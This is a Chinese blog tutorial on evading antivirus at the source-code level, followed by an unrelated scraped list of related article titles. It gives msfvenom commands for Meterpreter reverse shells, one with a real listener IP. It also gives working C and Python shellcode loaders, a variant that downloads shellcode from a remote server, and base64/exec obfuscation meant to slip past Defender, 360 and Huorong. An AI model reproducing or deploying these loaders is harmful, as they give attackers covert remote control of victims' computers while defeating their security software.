0x01 免杀分类

渗透测试中常需要免杀马,这块的内容交叉且形式多样。常见的免杀方式,源码混淆、DLL文件替换、文件修改、加壳、花指令免杀、签名等。免杀的内容比较偏向破解、反编译范畴的安全研究,也是武器库中的必不可少的部分。本文章是系列教程,各种免杀方式都会涉及,本次分享的是源码免杀。

0x02 源码免杀

这里以Python做免杀为例,其他语言如C#、GO、Ruby等免杀思路相同。

免杀的大致步骤可以分为如下,视情况可以采用部分步骤:

  • 加载器选择-ctypes-DLL&其他,加载shellcode的组件
  • 加密器选择-base64&hex&xor,加密shellcode的组件、异或
  • 执行器选择-github上不是一大堆,用于执行shellcode的组件
  • 打包器选择-pyinstaller&py2exe,把代码打包成可执行文件的组件

免杀思路一:

msf生成C语言shellcode,编写C程序调用shellcode生成exe可执行文件。
其实这部分无作任何免杀,只是换了调用方式,但还是能过电脑管家的(无语)。msf操作步骤:

#生成C语言shellcode,此处生成的shellcode是程序执行在内存中的状态
msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=6688 -f c
#监听主机上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688

C语言调用二进制生成exe代码(需要采用32位执行):

//此代码用于将msf生成的shellcode打包生成exe
//可能有同学要问了,为什么生成C语言的二进制码还需要利用C语言打包执行。其实exe程序运行时在内存中是二进制码,现在msf生成的是二进制码,需要打包成exe才能被执行
#include <Windows.h>
#include <stdio.h>
#include <string.h>
//windows控制台程序不出黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//此处放msf生成的shellcode
unsigned char buf[] = "shellcode"
main()
{char* Memory;// 申请EXECUTE属性内存Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 拷贝shellcodememcpy(Memory, buf, sizeof(buf));// 执行shellcode((void(*)())Memory)();
}

免杀思路二:

利用msf生成加密的C语言shellcode,再利用python去调用(过defender)
采用ctypes模块执行C语言。
此处打包器选择pyinstaller。
msf生成base64加密shellcode:

msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=47.94.236.117 lport=6688 -f c

python调用Ctypes模块调用shellcode(注:此处python必须为32位的)

import ctypes
import base64#此处为msf生成的加密shellcode,去掉"和;
encode_shellcode = '''
'''shellcode = base64.b64decode(encode_shellcode)#执行shellcode
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

pyinstaller.exe -F -w miansha-df.py #用于将py文件生成exe文件 (注:此处python必须为32位的)

免杀思路三:

外部shellcode加载+特征语句定位加密(过hr、360)
基本思路是从vps上请求shellcode到本地实现无文件落地,加载shellcode代码中的第二句被hr查杀,故作base64加密。

import ctypes
import requests
import base64
#外部请求shellcode
encode_shellcode = requests.get("http://yourip/123.txt").text
#解密shellcode
shellcode = base64.b64decode(encode_shellcode)rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
#此处为ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))原语句base64加密
func=base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSk=')
exec(func)
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

0x03 总结

本文用的是python调用msf生成的C语言shellcode,cs同样也可以生成C语言shellcode。

源码免杀思路很广,换一个加载器、换一种加密算法,换一种调用逻辑,完全可以自己实现免杀。

小众语言的免杀效果会更好,采用Go、Ruby语言加载shellcode免杀效果也许或更好,建议多去了解新的语言,有助于做免杀。

0x04 注意点

python执行C语言shellcode时需要使用python3 32位,打包成exe文件也需要使用32位的,win10上打包生成的exe在win7环境下会报错,要选择相应版本打包。

msf生成shellcode时,有无base64加密生成的shellcode形式相似,类似:

"x2f\x4f\x69\x50\x41"

本文中默认生成的shellcode是C语言shellcode码,是把byte码用十六进制来表示。

msf添加base64加密生成的是base64加密的shellcode,同样是把byte码用十六进制来表示。在调用时需要把十六进制转化为字符串,为了方便起见,免杀思路三中的放在服务器上的123.txt在十六进制转换的字符串,便于操作,否则需要本地再次转换。

附带科普下内存运行编码的各种概念。

内存大小是使用byte为单位的,msf生成的byte码是执行在内存时的编码,为16进制,而python在打印时会自动将十六进制编码转换为字符串,下面的python代码打印的结果为AVlNXa。

test = "\x41\x56\x6c\x4e\x58\x61"
print(test)

十六进制和byte码转换:

0X1 = 1byte
0X10 = 16 byte
0X100 = 16*16 byte = 256 byte
0X1000 = 16 *256 byte= 4 * ( 4 * 256byte) = 4 * 1024 byte =4K byte
0X1 0000 = 16 * 4K byte = 64K byte
0X10 0000 = 16 * 64K byte = 1024K byte = 1M byte
0X100 0000 = 16 * 1M byte = 16M byte
0X1000 0000 = 16 * 16M byte = 256M byte
0X1 0000 0000 = 16 * 256Mbyte = 4*(4*256) Mbyte = 4*1024Mbyte=4Gbyte

声明

大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。

欢迎关注公众号:白帽学子

【安全研究】免杀对抗之源码免杀相关推荐

  1. c语言免杀程序源码,Window下基于C/C++源码免杀理论及思路(新手篇)

    作者:冷锋(LengF) [BHST] 博客:www.81sec.com      时间:2011-5-22 0x00 概述 最近搞一个国外的网站,对方是用的赛门铁克的诺顿杀毒软件,而内网又只对外开放 ...

  2. Mimikatz源码免杀

    目录 介绍 环境准备 处理报错 生成32位 生成64位 下载360.360杀毒 直接查杀 关键字替换-失败 去除注释,修改版本信息 删除注释信息 替换图标 修改版本信息 重新编译文件 过杀软 360家 ...

  3. 286合购网VC++源码免杀

    286合购网VC++源码免杀 下载地址 https://pan.baidu.com/s/15qZCkizDDaK1Mq61a4T35g 创业资料/视频资料/安全相关 扫码下面二维码关注公众号回复 10 ...

  4. 源码免杀-过启发式的思路

    定位免杀NOD32的一些经验 ----collect dying site:http://www.idying.cn 欢迎大家一起讨论 先说下定位方法: 1 NOD32不能正向定位的,定位出来也是不能 ...

  5. 在linux下做源码免杀,Cobaltstrike免杀从源码级到落地思维转变

    文章来源: https://www.freebuf.com/articles/web/258988.html 前言 距离上一篇文章<那些FastJson漏洞不为人知的事情(开发角度)>已经 ...

  6. 现在主流免杀是源码免杀

    一.文件特征码定位:  一般我们先用MyCCL把被查杀文件的文件特征码定位出来,然后用C32判断定位出来的这个特征码是代码还  是字符串,或者是输入表.输出表.版权信息等-定位在不同的地方,就要用不同 ...

  7. 详谈 vc++源码免杀全套思路方法

    首先说中国国内杀毒软件的特征 . 1  金山毒霸 ,我个人觉得杀的代码部分和字符串还是比较普遍的 .输入表函数 我个人不多见 . 2  瑞星 ,经实战经验 ,瑞星杀毒软件是垃圾. 过掉金山 也就过瑞星 ...

  8. 源码免杀--反调试代码,免杀爱好者必备的利剑

    源码免杀只处理特征码还是不够的,必须要加入反调试代码,这样才能更持久更耐用.这里就发几个暗夜经常用的反调试代码给大家. 1. HKEY ck; char strreg[] = {'S','O','F' ...

  9. 源码免杀处理的技巧与tips

    2019独角兽企业重金招聘Python工程师标准>>> 首先,要了解编译中MAP的利用:     第一步设置VC编译环境生成Map文件. 在 VC 中,点击菜单"Proje ...

  10. 远控软件GHOST源码免杀

    <script type="text/javascript"></script> 远控软件gh0st源码免杀 远控软件gh0st3.6开源了,开源意味着我们 ...

最新文章

  1. javascript 中 console 的用法
  2. 两个有序数组如何合并成一个有序数组
  3. python程序实例教程基础-python基础教程第三版源代码
  4. 在springboot中构建子模块却无法加载,如果解决?
  5. android 4.0以上WebView不能全屏播放视频的解决办法
  6. 分布式之系统底层原理
  7. 在idea中使用mybatis-generator
  8. elas源码赏析(二)sobel算子3*3行列分解快速卷积
  9. 组建了计算机教室和图书室,【不忘初心 牢记使命】武胜这8所试点学校陆续展开课后服务工作...
  10. html5饼图的制作方法,excel2010复合饼图制作方法
  11. ipv6是什么?ipv6怎么设置?
  12. Vue 路由 导航守卫(全局守卫、组件内守卫、路由独享守卫)
  13. AWS 云计算 SQS SNS
  14. iMX6UL配置MCP2515模块(SPI转CAN)——基于迅为iTOP-iMX6UL开发板
  15. Spring-Mybatis整合 第一个Spring-Mybatis程序
  16. Flutter系列之TextField限制数字输入
  17. LQ0270 手机尾数【水题】
  18. 详解搜索引擎的工作原理
  19. 智慧农业云平台APP[中易云智慧农业物联网]
  20. 群晖NAS | 新技能Get,ABB套件文件服务器的安全备份攻略

热门文章

  1. 【Linux中基于docker安装oracle及Oracle密码过期修改】
  2. Python 详解K-S检验与3σ原则剔除异常值
  3. android m3u8合成ts,M3U8-TS文件合并为MP4文件
  4. 建筑工程计算机的应用,计算机对建筑工程的应用
  5. R语言4.04安装教程
  6. 博途v14电脑要求_博途V14或者V15,大家现在用的电脑-工业支持中心-西门子中国...
  7. Android Q共享音频输入
  8. 写作技巧 - Markdown常用Emoji表情符号
  9. 搭建个人论坛网站图文教程
  10. 最全的iOS开发资源整理